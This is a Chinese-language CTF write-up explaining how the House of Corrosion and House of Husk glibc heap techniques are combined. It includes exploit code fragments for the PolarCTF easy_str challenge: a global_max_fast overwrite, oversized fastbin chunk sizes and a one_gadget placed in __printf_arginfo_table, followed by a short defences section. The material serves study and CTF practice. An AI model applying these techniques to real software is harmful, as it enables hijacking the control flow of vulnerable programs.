House Of Corrosion与House Of Husk的交叉利用
字数 1803 2025-08-22 12:23:18
House Of Corrosion与House Of Husk交叉利用技术详解
一、House Of Corrosion攻击技术
1. 基本原理
House Of Corrosion是一种通过攻击main_arena结构体中的fastbinY数组来实现利用的攻击技术。
main_arena结构体关键部分:
struct malloc_state {
int mutex;
int flags;
int have_fastchunks;
mfastbinptr fastbinsY[NFASTBINS]; // 通常有10个fastbin
// ...其他字段...
};
2. 攻击核心机制
fastbinY数组基于&main_arena.fastbinsY的值进行偏移- 通过数组溢出可以写到
main_arena下方的位置 - 计算目标地址对应chunk大小的公式:
size = (target_addr - top) * 2 - 0x10
3. 攻击前提条件
需要让大小大于上限(0xb0)的chunk进入fastbin,通常通过以下方式修改global_max_fast:
- unsorted bin attack - 把main_arena附近的内容写进去
- large_bin attack - 写一个堆地址进去
- 其他攻击方式
4. 攻击流程示例
以2.27版本为例的攻击步骤:
- 分配一个大小合适的chunk(根据目标地址与
main_arena.fastbinsY的距离计算) - 泄露libc地址
- 利用unsorted bin attack修改
global_max_fast - 释放大chunk,使其地址写入目标位置
二、House Of Husk攻击技术
1. 基本原理
House Of Husk主要针对printf函数及其内部调用的函数指针:
__printf_arginfo_table__printf_function_table
2. 攻击目标选择
优先选择攻击__printf_arginfo_table,因为:
- 只需要控制一个内容
printf_functions_table需要控制两个内容
3. printf调用链分析
printf
-> vprintf
-> do_positional
-> printf_positional
-> __parse_one_specmb
关键检查点:
if (__glibc_unlikely(__printf_function_table != NULL ||
__printf_modifier_table != NULL ||
__printf_va_arg_table != NULL))
goto do_positional;
4. 关键数据结构
__register_printf_specifier函数注册自定义格式化字符:
int __register_printf_specifier(int spec,
printf_function converter,
printf_arginfo_size_function arginfo) {
// ...
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
// ...
}
三、交叉利用技术实战
1. 例题分析(PolarCTF easy_str)
程序特点:
- 只能申请5个chunk
- chunk大小必须≥0x500
- 程序中使用了自定义格式化字符
%X
2. 攻击步骤
-
泄露libc地址:
- 分配并释放一个大chunk,通过UAF泄露libc地址
-
House Of Corrosion准备:
- 计算
printf_arginfo_table和printf_function_table与main_arena的偏移 - 分配对应大小的chunk
- 计算
-
修改global_max_fast:
- 使用unsorted bin attack修改
global_max_fast
- 使用unsorted bin attack修改
-
触发House Of Corrosion:
- 释放特定chunk,使
printf_arginfo_table指向我们控制的chunk
- 释放特定chunk,使
-
布置payload:
- 在chunk中布置数据,使得
__printf_arginfo_table[88](对应%X)指向one_gadget
- 在chunk中布置数据,使得
-
绕过保护:
- 释放另一个chunk使
printf_function_table不为0
- 释放另一个chunk使
3. EXP关键代码解析
# 计算偏移
# main_arena = printf_arginfo_table - 0xc30
# main_arena = printf_function_table - 0x4af8
# 分配特殊大小的chunk
add(0x4af8 * 2 - 0x10) # 对应printf_function_table
add(0xc30 * 2 - 0x10) # 对应printf_arginfo_table
# unsorted bin attack修改global_max_fast
edit(0, p64(libc_base + 0x70 + libc.sym['__malloc_hook']) + p64(global_max_fast - 0x10))
# 布置one_gadget
edit(2, b'abcdefgh'*(0x58 - 2) + p64(og)) # 0x58=88,对应%X
# 触发
dele(1) # 使printf_function_table不为0
四、防御与检测
-
House Of Corrosion防御:
- 检查fastbin chunk大小是否合法
- 加强对
global_max_fast的保护
-
House Of Husk防御:
- 检查格式化字符串是否合法
- 保护
__printf_arginfo_table和__printf_function_table
-
通用防御:
- 启用FORTIFY_SOURCE
- 使用最新的glibc版本
- 启用ASLR和PIE
五、技术要点总结
-
House Of Corrosion关键点:
- 精确计算目标地址对应的chunk大小
- 可靠地修改
global_max_fast - 理解fastbin数组的索引机制
-
House Of Husk关键点:
- 确定自定义格式化字符的spec值
- 确保
printf_function_table不为0 - 精确控制
__printf_arginfo_table的内容
-
交叉利用优势:
- House Of Corrosion提供任意地址写能力
- House Of Husk提供稳定的控制流劫持
- 两者结合可绕过更多保护机制